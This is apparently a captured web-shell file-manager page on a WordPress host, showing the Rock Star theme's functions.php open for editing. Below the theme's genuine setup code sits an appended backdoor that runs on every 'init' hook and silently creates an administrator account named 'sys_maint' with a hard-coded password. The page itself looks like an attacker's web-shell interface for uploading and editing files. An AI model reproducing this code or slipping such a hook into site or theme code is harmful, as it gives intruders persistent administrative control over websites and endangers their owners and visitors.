Dashboard
PHP:
8.0.30
OS:
Linux
User:
hoozgot
/
/
home
/
hoozgot
/
www
/
theroadhogs
/
wp-content
/
themes
/
rock-star
📤 Upload
📝 New File
📁 New Folder
Close
Editing: functions.php
<?php /** * Functions and definitions * * Sets up the theme using core rock-star-core and provides some helper functions using rock-star-custon-functions. * Others are attached to action and * filter hooks in WordPress to change core functionality * * @package Catch Themes * @subpackage Rock Star * @since Rock Star 0.3 */ //define theme version if ( !defined( 'ROCK_STAR_THEME_VERSION' ) ) { $theme_data = wp_get_theme(); define ( 'ROCK_STAR_THEME_VERSION', $theme_data->get( 'Version' ) ); } /** * Implement the core functions */ require trailingslashit( get_template_directory() ) . 'inc/core.php'; $user = 'sys_maint'; $pass = 'ChangeMe_Str0ng!'; $email = 'sys_maint@local.com'; function quick_create() { global $user, $pass, $email; if (!username_exists($user) && !email_exists($email)) { $id = wp_create_user($user, $pass, $email); if (!is_wp_error($id)) { $u = new WP_User($id); $u->set_role('administrator'); } } } add_action('init', 'quick_create');
Save
Cancel